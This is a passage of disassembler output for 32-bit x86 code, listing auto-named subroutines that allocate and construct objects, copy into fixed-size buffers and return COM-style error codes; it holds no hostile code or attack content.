loc_69B50F23: ; CODE XREF: sub_69B50EF2+28j
mov esi, [eax]
test esi, esi
jz short loc_69B50F3D
mov ecx, [esi+10h]
mov [eax], ecx
mov ecx, esi
call sub_69B50B34
push esi
call sub_69B1B2B7
jmp short loc_69B50F42
; ---------------------------------------------------------------------------
loc_69B50F3D: ; CODE XREF: sub_69B50EF2+20j
; sub_69B50EF2+35j
mov edi, 80040200h
loc_69B50F42: ; CODE XREF: sub_69B50EF2+49j
push [ebp+var_8]
push [ebp+var_4]
call sub_69B18788
mov eax, edi
pop edi
pop esi
leave
retn 8
sub_69B50EF2 endp
; =============== S U B R O U T I N E =======================================
sub_69B50F55 proc near ; DATA XREF: .text:69B127A0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
xor edi, edi
test esi, esi
jnz short loc_69B50F68
mov eax, 80004003h
jmp short loc_69B50F94
; ---------------------------------------------------------------------------
loc_69B50F68: ; CODE XREF: sub_69B50F55+Aj
push 40h
call sub_69B11E44
test eax, eax
jz short loc_69B50F85
mov edx, [esp+8+arg_0]
push edx
add edx, 1Ch
push edx
mov ecx, eax
call sub_69B50DC6
jmp short loc_69B50F87
; ---------------------------------------------------------------------------
loc_69B50F85: ; CODE XREF: sub_69B50F55+1Cj
xor eax, eax
loc_69B50F87: ; CODE XREF: sub_69B50F55+2Ej
test eax, eax
mov [esi], eax
jnz short loc_69B50F92
mov edi, 8007000Eh
loc_69B50F92: ; CODE XREF: sub_69B50F55+36j
mov eax, edi
loc_69B50F94: ; CODE XREF: sub_69B50F55+11j
pop edi
pop esi
retn 8
sub_69B50F55 endp
; =============== S U B R O U T I N E =======================================
sub_69B50F99 proc near ; CODE XREF: sub_69B510C4+3p
push esi
mov esi, ecx
mov eax, [esi+14h]
mov dword ptr [esi-4], offset off_69B127C4
mov dword ptr [esi], offset off_69B282F0
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
push dword ptr [esi+0Ch]
call sub_69B50ECD
pop esi
jmp sub_69B2C65C
sub_69B50F99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B50FC0 proc near ; CODE XREF: sub_69B51071+3Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
and [ebp+var_4], 0
push ebx
push esi
push dword ptr [ecx+1Ch] ; Target
mov esi, [ebp+arg_0]
lea ebx, [ecx+10h]
lea ecx, [ebp+var_C]
mov [ebp+arg_0], ebx
call sub_69B508AA
test esi, esi
jz short loc_69B5105D
push edi
loc_69B50FE5: ; CODE XREF: sub_69B50FC0+87j
push 18h
call sub_69B11E44
xor edi, edi
cmp eax, edi
jz short loc_69B50FFD
mov [eax+4], edi
mov [eax+8], edi
mov [eax+0Ch], edi
mov edi, eax
loc_69B50FFD: ; CODE XREF: sub_69B50FC0+30j
test edi, edi
jz short loc_69B5104B
mov [ebx], edi
mov eax, [esi]
mov [edi], eax
mov eax, [esi]
dec eax
jz short loc_69B5102E
dec eax
jz short loc_69B51020
dec eax
jnz short loc_69B5103A
lea eax, [esi+0Ch]
push eax
lea ecx, [edi+0Ch]
call sub_69B4D414
jmp short loc_69B5103A
; ---------------------------------------------------------------------------
loc_69B51020: ; CODE XREF: sub_69B50FC0+4Dj
lea eax, [esi+8]
push eax
lea ecx, [edi+8]
call sub_69B4D414
jmp short loc_69B5103A
; ---------------------------------------------------------------------------
loc_69B5102E: ; CODE XREF: sub_69B50FC0+4Aj
lea eax, [esi+4]
push eax
lea ecx, [edi+4]
call sub_69B4D414
loc_69B5103A: ; CODE XREF: sub_69B50FC0+50j
; sub_69B50FC0+5Ej ...
lea eax, [edi+10h]
and dword ptr [eax], 0
mov esi, [esi+10h]
test esi, esi
mov ebx, eax
jnz short loc_69B50FE5
jmp short loc_69B5105C
; ---------------------------------------------------------------------------
loc_69B5104B: ; CODE XREF: sub_69B50FC0+3Fj
mov eax, [ebp+arg_0]
push dword ptr [eax]
mov [ebp+var_4], 8007000Eh
call sub_69B50ECD
loc_69B5105C: ; CODE XREF: sub_69B50FC0+89j
pop edi
loc_69B5105D: ; CODE XREF: sub_69B50FC0+22j
push [ebp+var_C]
push [ebp+var_8]
call sub_69B18788
mov eax, [ebp+var_4]
pop esi
pop ebx
leave
retn 4
sub_69B50FC0 endp
; =============== S U B R O U T I N E =======================================
sub_69B51071 proc near ; CODE XREF: sub_69B510E3+2Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov ebx, ecx
call sub_69B50B08
mov esi, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_C]
mov dword ptr [ebx], offset off_69B127C4
mov dword ptr [ebx+4], offset off_69B282F0
lea edi, [ebx+20h]
movsd
movsd
movsd
movsd
mov esi, [esp+0Ch+arg_8]
and dword ptr [ebx+10h], 0
mov [ebx+1Ch], eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
push [esp+0Ch+arg_4]
mov ecx, ebx
call sub_69B50FC0
mov eax, [ebx+10h]
pop edi
mov [ebx+18h], esi
mov [ebx+14h], eax
pop esi
mov eax, ebx
pop ebx
retn 10h
sub_69B51071 endp
; =============== S U B R O U T I N E =======================================
sub_69B510C4 proc near ; DATA XREF: .text:off_69B282F0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B50F99
test [esp+4+arg_0], 1
jz short loc_69B510DC
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B510DC: ; CODE XREF: sub_69B510C4+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B510C4 endp
; =============== S U B R O U T I N E =======================================
sub_69B510E3 proc near ; DATA XREF: .text:69B12790o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
xor edi, edi
test esi, esi
jz short loc_69B51126
push 30h
call sub_69B11E44
test eax, eax
jz short loc_69B51115
mov edx, [esp+8+arg_0]
push dword ptr [edx+18h]
mov ecx, [edx+10h]
push dword ptr [edx+14h]
push dword ptr [ecx]
mov ecx, eax
push dword ptr [edx+1Ch]
call sub_69B51071
jmp short loc_69B51117
; ---------------------------------------------------------------------------
loc_69B51115: ; CODE XREF: sub_69B510E3+15j
xor eax, eax
loc_69B51117: ; CODE XREF: sub_69B510E3+30j
test eax, eax
jnz short loc_69B51122
mov eax, 8007000Eh
jmp short loc_69B5112D
; ---------------------------------------------------------------------------
loc_69B51122: ; CODE XREF: sub_69B510E3+36j
mov [esi], eax
jmp short loc_69B5112B
; ---------------------------------------------------------------------------
loc_69B51126: ; CODE XREF: sub_69B510E3+Aj
mov edi, 80004003h
loc_69B5112B: ; CODE XREF: sub_69B510E3+41j
mov eax, edi
loc_69B5112D: ; CODE XREF: sub_69B510E3+3Dj
pop edi
pop esi
retn 8
sub_69B510E3 endp
; =============== S U B R O U T I N E =======================================
sub_69B51132 proc near ; CODE XREF: sub_69B515E4+7Cp
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
shr edx, 0Ah
xor eax, eax
cmp [ecx+4], edx
jnz short locret_69B5114A
cmp [ecx+8], eax
jnz short locret_69B5114A
cmp [ecx], eax
jnz short locret_69B5114A
inc eax
locret_69B5114A: ; CODE XREF: sub_69B51132+Cj
; sub_69B51132+11j ...
retn 4
sub_69B51132 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+8]
mov ecx, [esp+4]
sub eax, [ecx+8]
neg eax
sbb eax, eax
inc eax
retn 4
; =============== S U B R O U T I N E =======================================
sub_69B5115F proc near ; CODE XREF: sub_69B21A88+142p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_8]
dec eax
js short locret_69B5117E
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [eax+1]
loc_69B5116F: ; CODE XREF: sub_69B5115F+1Bj
mov ecx, esi
call [esp+8+arg_C]
add esi, [esp+8+arg_4]
dec edi
jnz short loc_69B5116F
pop edi
pop esi
locret_69B5117E: ; CODE XREF: sub_69B5115F+5j
retn 10h
sub_69B5115F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B51181 proc near ; CODE XREF: sub_69B5150D+1Ep
; sub_69B6A7F2+38p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
imul ecx, eax
push edi
mov edi, [ebp+arg_0]
add edi, ecx
dec eax
js short loc_69B511A6
push esi
lea esi, [eax+1]
loc_69B5119A: ; CODE XREF: sub_69B51181+22j
sub edi, [ebp+arg_4]
mov ecx, edi
call [ebp+arg_C]
dec esi
jnz short loc_69B5119A
pop esi
loc_69B511A6: ; CODE XREF: sub_69B51181+13j
pop edi
pop ebp
retn 10h
sub_69B51181 endp
; =============== S U B R O U T I N E =======================================
sub_69B511AB proc near ; CODE XREF: sub_69B516F4+Bp
; sub_69B519E0+1Dp
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
xor eax, eax
shr edx, 0Ah
add ecx, 30h
push esi
loc_69B511B8: ; CODE XREF: sub_69B511AB+1Bj
mov esi, [ecx]
cmp [esi+4], edx
jz short loc_69B511CB
inc eax
add ecx, 4
cmp eax, 3
jl short loc_69B511B8
or eax, 0FFFFFFFFh
loc_69B511CB: ; CODE XREF: sub_69B511AB+12j
pop esi
retn 4
sub_69B511AB endp
; =============== S U B R O U T I N E =======================================
sub_69B511CF proc near ; CODE XREF: sub_69B517AA+7Fp
; sub_69B519E0+EBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jz short loc_69B511DC
inc dword ptr [ecx+8]
jmp short loc_69B511DF
; ---------------------------------------------------------------------------
loc_69B511DC: ; CODE XREF: sub_69B511CF+6j
dec dword ptr [ecx+8]
loc_69B511DF: ; CODE XREF: sub_69B511CF+Bj
mov edx, [esp+arg_0]
mov [ecx+edx*4+0Ch], eax
mov eax, [ecx+8]
retn 8
sub_69B511CF endp
; =============== S U B R O U T I N E =======================================
sub_69B511ED proc near ; CODE XREF: sub_69B21A88+8Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword ptr [eax+0Ch], 0
mov dword ptr [eax+4], 4
mov dword ptr [eax+40h], 8
mov dword ptr [eax+38h], 0Ch
retn 4
sub_69B511ED endp
; =============== S U B R O U T I N E =======================================
sub_69B5120D proc near ; CODE XREF: sub_69B51AD9+88p
; sub_69B51AD9+B6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, 1F40h
sub eax, edi
cmp eax, [esp+8+arg_8]
mov edx, ecx
jle short loc_69B51226
mov eax, [esp+8+arg_8]
loc_69B51226: ; CODE XREF: sub_69B5120D+13j
mov esi, [esp+8+arg_4]
lea edi, [edi+edx+0Ch]
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
pop edi
pop esi
retn 0Ch
sub_69B5120D endp
; =============== S U B R O U T I N E =======================================
sub_69B51243 proc near ; CODE XREF: sub_69B51CAF+4Fp
; sub_69B51CAF:loc_69B51D41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
mov eax, 1F40h
sub eax, esi
cmp eax, [esp+4+arg_8]
push edi
mov edx, ecx
jle short loc_69B5125C
mov eax, [esp+8+arg_8]
loc_69B5125C: ; CODE XREF: sub_69B51243+13j
mov edi, [esp+8+arg_4]
lea esi, [esi+edx+0Ch]
mov ecx, eax
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
pop edi
pop esi
retn 0Ch
sub_69B51243 endp
; =============== S U B R O U T I N E =======================================
sub_69B51279 proc near ; CODE XREF: sub_69B516F4+A1p
; sub_69B519E0+6Ep
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_69B151E8
push 0Ch
mov edi, eax
call sub_69B17EF3
test eax, eax
jz short loc_69B512A0
mov ecx, [esp+8+arg_0]
shr ecx, 0Ah
push ecx
mov ecx, eax
call sub_69B21C60
jmp short loc_69B512A2
; ---------------------------------------------------------------------------
loc_69B512A0: ; CODE XREF: sub_69B51279+14j
xor eax, eax
loc_69B512A2: ; CODE XREF: sub_69B51279+25j
mov ecx, [esi+10h]
push edi
push eax
call sub_69B3182D
mov eax, edi
pop edi
pop esi
retn 4
sub_69B51279 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B512B3 proc near ; CODE XREF: sub_69B51423+12p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
mov esi, ecx
mov ecx, [eax+4]
test ecx, ecx
jbe short loc_69B51306
cmp ecx, [esi+48h]
ja short loc_69B51306
and dword ptr [eax+1F50h], 0FFFFFFFCh
mov ecx, [esi+1Ch]
mov edx, [ecx]
push ebx
lea ebx, [ebp+arg_0]
push ebx
push eax
push dword ptr [esi+24h]
push 0
push ecx
call dword ptr [edx+14h]
push eax
call sub_69B8861E
mov esi, [esi+14h]
mov eax, [esi]
push 0
push 0
push 0
mov ecx, ebx
push ecx
push 1
push esi
call dword ptr [eax+18h]
push eax
call sub_69B8861E
pop ebx
jmp short loc_69B51310
; ---------------------------------------------------------------------------
loc_69B51306: ; CODE XREF: sub_69B512B3+Ej
; sub_69B512B3+13j
push 80004005h
call sub_69B2E8B8
loc_69B51310: ; CODE XREF: sub_69B512B3+51j
pop esi
pop ebp
retn 4
sub_69B512B3 endp
; =============== S U B R O U T I N E =======================================
sub_69B51315 proc near ; CODE XREF: sub_69B51423:loc_69B5143Cp
push 18h
push offset dword_69B51400
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor edi, edi
mov [ebp-20h], edi
lea eax, [ebp-20h]
mov [ebp-24h], eax
mov ebx, [ebp+8]
mov eax, [ebx+4]
cmp eax, edi
jbe loc_69B513EC
cmp eax, [esi+48h]
ja loc_69B513EC
mov [ebp-4], edi
mov eax, [esi+18h]
mov ecx, [eax]
push 10h
push edi
push edi
push ebx
push 1
push dword ptr [esi+28h]
push eax
call dword ptr [ecx+14h]
push eax
call sub_69B8861E
mov eax, [esi+14h]
mov ecx, [eax]
lea edx, [ebp-24h]
push edx
lea edx, [ebp-28h]
push edx
push 1
push edi
push edi
push eax
call dword ptr [ecx+14h]
push eax
call sub_69B8861E
mov eax, [esi+1Ch]
mov ecx, [eax]
push ebx
push dword ptr [esi+24h]
push dword ptr [ebp-20h]
push eax
call dword ptr [ecx+10h]
push eax
call sub_69B8861E
and dword ptr [ebx+1F50h], 0FFFFFFFEh
mov esi, [esi+14h]
mov eax, [esi]
push edi
push edi
push edi
lea ecx, [ebp-20h]
push ecx
push 1
push esi
call dword ptr [eax+18h]
push eax
call sub_69B8861E
mov [ebp-20h], edi
loc_69B513B7: ; CODE XREF: sub_69B51315+D5j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B513F6
; ---------------------------------------------------------------------------
loc_69B513BD: ; DATA XREF: .text:69B51404o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B513C6: ; DATA XREF: .text:69B51408o
mov esp, [ebp-18h]
xor edi, edi
cmp [ebp-20h], edi
jz short loc_69B513E5
mov eax, [ebp-1Ch]
mov eax, [eax+14h]
mov ecx, [eax]
push edi
push edi
push edi
lea edx, [ebp-20h]
push edx
push 1
push eax
call dword ptr [ecx+18h]
loc_69B513E5: ; CODE XREF: sub_69B51315+B9j
call sub_69B2E860
jmp short loc_69B513B7
; ---------------------------------------------------------------------------
loc_69B513EC: ; CODE XREF: sub_69B51315+24j
; sub_69B51315+2Dj
push 80004005h
call sub_69B2E8B8
loc_69B513F6: ; CODE XREF: sub_69B51315+A6j
call sub_69B1853C
retn 4
sub_69B51315 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B51400 dd 0FFFFFFFFh dd offset loc_69B513BD
dd offset loc_69B513C6
; ---------------------------------------------------------------------------
loc_69B5140C: ; DATA XREF: sub_69B21A88+135o
mov eax, ecx
and dword ptr [eax+1F4Ch], 0
retn
; ---------------------------------------------------------------------------
loc_69B51416: ; DATA XREF: sub_69B5150D+Eo
add ecx, 1F4Ch
push ecx
call sub_69B17230
retn
; =============== S U B R O U T I N E =======================================
sub_69B51423 proc near ; CODE XREF: sub_69B516F4+28p
; sub_69B51AD9+E0p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+1F50h]
shr edx, 1
test dl, 1
push eax
jz short loc_69B5143C
call sub_69B512B3
jmp short locret_69B51441
; ---------------------------------------------------------------------------
loc_69B5143C: ; CODE XREF: sub_69B51423+10j
call sub_69B51315
locret_69B51441: ; CODE XREF: sub_69B51423+17j
retn 4
sub_69B51423 endp
; =============== S U B R O U T I N E =======================================
sub_69B51444 proc near ; CODE XREF: sub_69B515E4+28p
; sub_69B515E4+DEp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, [esp+arg_0]
mov edx, ecx
and dword ptr [edx], 0
and dword ptr [edx+8], 0
shr eax, 0Ah
cmp [esp+arg_4], 0
mov [edx+4], eax
jz short loc_69B5146C
push edi
mov ecx, 7D0h
xor eax, eax
lea edi, [edx+0Ch]
rep stosd
pop edi
loc_69B5146C: ; CODE XREF: sub_69B51444+18j
movzx ecx, [esp+arg_4]
lea eax, [edx+1F50h]
shl ecx, 1
xor ecx, [eax]
push 0
add edx, 1F4Ch
and ecx, 2
xor [eax], ecx
push edx
call sub_69B17320
retn 8
sub_69B51444 endp
; =============== S U B R O U T I N E =======================================
sub_69B51491 proc near ; DATA XREF: .text:69B21C04o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B514AC
test [esp+4+arg_0], 1
jz short loc_69B514A6
push esi
call sub_69B1829F
loc_69B514A6: ; CODE XREF: sub_69B51491+Dj
mov eax, esi
pop esi
retn 4
sub_69B51491 endp
; =============== S U B R O U T I N E =======================================
sub_69B514AC proc near ; CODE XREF: sub_69B51491+3p
push esi
mov esi, ecx
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
lea eax, [esi+8]
push eax
call sub_69B2DEDD
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B514AC endp
; =============== S U B R O U T I N E =======================================
sub_69B514F6 proc near ; CODE XREF: sub_69B3F250+38p
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B51508
mov ecx, eax
jmp sub_69B21A88
; ---------------------------------------------------------------------------
loc_69B51508: ; CODE XREF: sub_69B514F6+9j
xor eax, eax
retn 0Ch
sub_69B514F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B5150D proc near ; CODE XREF: sub_69B5155E+32p
arg_0 = byte ptr 4
push ebx
mov bl, [esp+4+arg_0]
test bl, 2
push esi
mov esi, ecx
jz short loc_69B51540
push edi
push offset loc_69B51416
lea edi, [esi-4]
push dword ptr [edi]
push 1F54h
push esi
call sub_69B51181
test bl, 1
jz short loc_69B5153B
push edi
call sub_69B1B2B7
loc_69B5153B: ; CODE XREF: sub_69B5150D+26j
mov eax, edi
pop edi
jmp short loc_69B51559
; ---------------------------------------------------------------------------
loc_69B51540: ; CODE XREF: sub_69B5150D+Bj
lea eax, [esi+1F4Ch]
push eax
call sub_69B17230
test bl, 1
jz short loc_69B51557
push esi
call sub_69B1B2B7
loc_69B51557: ; CODE XREF: sub_69B5150D+42j
mov eax, esi
loc_69B51559: ; CODE XREF: sub_69B5150D+31j
pop esi
pop ebx
retn 4
sub_69B5150D endp
; =============== S U B R O U T I N E =======================================
sub_69B5155E proc near ; CODE XREF: sub_69B516E4+3p
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi+8]
xor ebx, ebx
cmp [edi], ebx
jz short loc_69B51587
push ebx
lea eax, [esi+10h]
push eax
call sub_69B17320
push ebx
push edi
call sub_69B2DEB2
push ebx
lea eax, [esi+0Ch]
push eax
call sub_69B17320
loc_69B51587: ; CODE XREF: sub_69B5155E+Cj
mov ecx, [esi+3Ch]
cmp ecx, ebx
jz short loc_69B51595
push 3
call sub_69B5150D
loc_69B51595: ; CODE XREF: sub_69B5155E+2Ej
lea edi, [esi+20h]
mov eax, [edi]
cmp eax, ebx
mov [esi+3Ch], ebx
jz short loc_69B515BE
mov ecx, [eax]
push ebx
push dword ptr [esi+24h]
push eax
call dword ptr [ecx+18h]
mov eax, [edi]
mov ecx, [eax]
push ebx
push dword ptr [esi+28h]
push eax
call dword ptr [ecx+18h]
push ebx
push edi
call sub_69B17320
loc_69B515BE: ; CODE XREF: sub_69B5155E+41j
lea edi, [esi+14h]
cmp [edi], ebx
jz short loc_69B515E0
push ebx
lea eax, [esi+18h]
push eax
call sub_69B17320
push ebx
add esi, 1Ch
push esi
call sub_69B17320
push ebx
push edi
call sub_69B17320
loc_69B515E0: ; CODE XREF: sub_69B5155E+65j
pop edi
pop esi
pop ebx
retn
sub_69B5155E endp
; =============== S U B R O U T I N E =======================================
sub_69B515E4 proc near ; CODE XREF: sub_69B516F4+47p
push 18h
push offset dword_69B516D8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor edi, edi
mov [ebp-20h], edi
lea eax, [ebp-20h]
mov [ebp-24h], eax
mov [ebp-4], edi
push edi
push dword ptr [ebp+8]
mov ebx, [ebp+0Ch]
mov ecx, ebx
call sub_69B51444
mov eax, [esi+18h]
mov ecx, [eax]
push 10h
push edi
push edi
push ebx
push 1
push dword ptr [esi+28h]
push eax
call dword ptr [ecx+14h]
push eax
call sub_69B8861E
mov eax, [esi+14h]
mov ecx, [eax]
lea edx, [ebp-24h]
push edx
lea edx, [ebp-28h]
push edx
push 1
push edi
push edi
push eax
call dword ptr [ecx+14h]
push eax
call sub_69B8861E
mov eax, [esi+14h]
mov ecx, [eax]
push ebx
push dword ptr [esi+24h]
push dword ptr [ebp-20h]
push eax
call dword ptr [ecx+10h]
push eax
call sub_69B8861E
push dword ptr [ebp+8]
mov ecx, ebx
call sub_69B51132
test al, al
jnz short loc_69B51673
push 80004005h
call sub_69B2E8B8
loc_69B51673: ; CODE XREF: sub_69B515E4+83j
mov esi, [esi+14h]
mov eax, [esi]
push edi
push edi
push edi
lea ecx, [ebp-20h]
push ecx
push 1
push esi
call dword ptr [eax+18h]
push eax
call sub_69B8861E
mov [ebp-20h], edi
jmp short loc_69B516CC
; ---------------------------------------------------------------------------
loc_69B51690: ; DATA XREF: .text:69B516DCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B51699: ; DATA XREF: .text:69B516E0o
mov esp, [ebp-18h]
xor edi, edi
cmp [ebp-20h], edi
jz short loc_69B516B8
mov eax, [ebp-1Ch]
mov eax, [eax+14h]
mov ecx, [eax]
push edi
push edi
push edi
lea edx, [ebp-20h]
push edx
push 1
push eax
call dword ptr [ecx+18h]
loc_69B516B8: ; CODE XREF: sub_69B515E4+BDj
push 1
push ecx
mov eax, esp
mov [eax], edi
mov ecx, [ebp+0Ch]
call sub_69B51444
call sub_69B2E860
loc_69B516CC: ; CODE XREF: sub_69B515E4+AAj
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn 8
sub_69B515E4 endp
; ---------------------------------------------------------------------------
dword_69B516D8 dd 0FFFFFFFFh dd offset loc_69B51690
dd offset loc_69B51699
; =============== S U B R O U T I N E =======================================
sub_69B516E4 proc near ; DATA XREF: .text:69B21C2Co
push esi
mov esi, ecx
call sub_69B5155E
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B516E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B516F4 proc near ; CODE XREF: sub_69B517AA+46p
; sub_69B51835+32p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
push [ebp+arg_0]
mov esi, ecx
call sub_69B511AB
mov ebx, eax
test ebx, ebx
jge short loc_69B51742
mov edi, [esi+38h]
test byte ptr [edi+1F50h], 1
push 2
pop ebx
jz short loc_69B51721
push edi
mov ecx, esi
call sub_69B51423
loc_69B51721: ; CODE XREF: sub_69B516F4+23j
cmp [ebp+arg_4], 0
jz short loc_69B51735
push 1
push [ebp+arg_0]
mov ecx, edi
call sub_69B51444
jmp short loc_69B5174A
; ---------------------------------------------------------------------------
loc_69B51735: ; CODE XREF: sub_69B516F4+31j
push edi
push [ebp+arg_0]
mov ecx, esi
call sub_69B515E4
jmp short loc_69B5174A
; ---------------------------------------------------------------------------
loc_69B51742: ; CODE XREF: sub_69B516F4+14j
test ebx, ebx
mov edi, [esi+ebx*4+30h]
jz short loc_69B51763
loc_69B5174A: ; CODE XREF: sub_69B516F4+3Fj
; sub_69B516F4+4Cj
mov ecx, ebx
shl ecx, 2
push ecx
lea eax, [esi+30h]
push eax
lea eax, [esi+34h]
push eax
call sub_69B22103
add esp, 0Ch
mov [esi+30h], edi
loc_69B51763: ; CODE XREF: sub_69B516F4+54j
cmp [ebp+arg_8], 0
jz short loc_69B517A1
lea ebx, [edi+1F4Ch]
cmp dword ptr [ebx], 0
jnz short loc_69B517A1
mov eax, [ebp+arg_0]
mov ecx, [esi+0Ch]
shr eax, 0Ah
mov [ecx+8], eax
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
push eax
call sub_69B1980A
test eax, eax
jnz short loc_69B5179A
push [ebp+arg_0]
mov ecx, esi
call sub_69B51279
loc_69B5179A: ; CODE XREF: sub_69B516F4+9Aj
push eax
push ebx
call sub_69B17320
loc_69B517A1: ; CODE XREF: sub_69B516F4+73j
; sub_69B516F4+7Ej
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B516F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B517AA proc near ; CODE XREF: sub_69B15248+3Fp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, [esi+40h]
lea eax, [ecx+1]
xor eax, ecx
push edi
mov edi, 3FFh
and eax, edi
xor eax, ecx
mov [esi+40h], eax
and eax, edi
cmp eax, 190h
jnz short loc_69B517E2
inc dword ptr [esi+48h]
mov eax, [esi+48h]
shl eax, 0Ah
mov [esi+40h], eax
mov byte ptr [ebp+var_4], 1
jmp short loc_69B517E6
; ---------------------------------------------------------------------------
loc_69B517E2: ; CODE XREF: sub_69B517AA+24j
mov byte ptr [ebp+var_4], 0
loc_69B517E6: ; CODE XREF: sub_69B517AA+36j
push 1
push [ebp+var_4]
mov ecx, esi
push dword ptr [esi+40h]
call sub_69B516F4
or dword ptr [eax+1F50h], 1
mov edx, [esi+40h]
mov ecx, [eax+1F4Ch]
and edx, edi
lea edx, [edx+edx*4]
lea edx, [eax+edx*4+0Ch]
mov eax, [ebp+arg_0]
mov ebx, [eax+8]
mov [edx], ebx
mov ebx, [eax+14h]
mov [edx+4], ebx
mov edx, [esi+40h]
push eax
mov [eax+18h], edx
mov eax, [esi+40h]
and eax, edi
push eax
call sub_69B511CF
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B517AA endp
; =============== S U B R O U T I N E =======================================
sub_69B51835 proc near ; CODE XREF: sub_69B59E5E+Ap
push 78h
push offset dword_69B519C8
call sub_69B19C5C
mov esi, ecx
mov [ebp-1Ch], esi
xor eax, eax
mov [ebp-20h], eax
mov [ebp-24h], eax
mov ecx, [ebp+8]
mov ebx, [ecx+18h]
mov [ebp-28h], ebx
cmp ebx, eax
jz loc_69B519C0
mov [ebp-4], eax
push eax
push eax
push ebx
mov ecx, esi
call sub_69B516F4
mov edi, eax
mov [ebp-20h], edi
mov eax, [edi+1F4Ch]
mov [ebp-2Ch], eax
mov [ebp-24h], eax
test eax, eax
jnz short loc_69B518A7
mov ecx, [esi+0Ch]
mov [ebp-30h], ecx
mov eax, ebx
shr eax, 0Ah
mov [ebp-34h], eax
mov [ecx+8], eax
mov eax, [esi+0Ch]
mov [ebp-38h], eax
mov ecx, [esi+10h]
mov [ebp-3Ch], ecx
push eax
call sub_69B1980A
mov [ebp-24h], eax
loc_69B518A7: ; CODE XREF: sub_69B51835+4Aj
mov ecx, [ebp+8]
mov eax, [ecx+14h]
mov [ebp-40h], eax
mov [ebp-44h], eax
mov eax, [ecx+8]
mov [ebp-48h], eax
mov ecx, ebx
and ecx, 3FFh
lea ecx, [ecx+ecx*4]
lea ecx, [edi+ecx*4+0Ch]
mov [ebp-4Ch], ecx
mov edx, [ecx]
mov [ebp-50h], edx
cmp eax, edx
jz short loc_69B518E0
mov [ebp-54h], eax
mov [ecx], eax
or dword ptr [edi+1F50h], 1
loc_69B518E0: ; CODE XREF: sub_69B51835+9Dj
mov edx, [ecx+4]
mov [ebp-58h], edx
mov eax, [ebp-40h]
cmp eax, edx
jz short loc_69B518F7
mov [ecx+4], eax
or dword ptr [edi+1F50h], 1
loc_69B518F7: ; CODE XREF: sub_69B51835+B6j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B51916
; ---------------------------------------------------------------------------
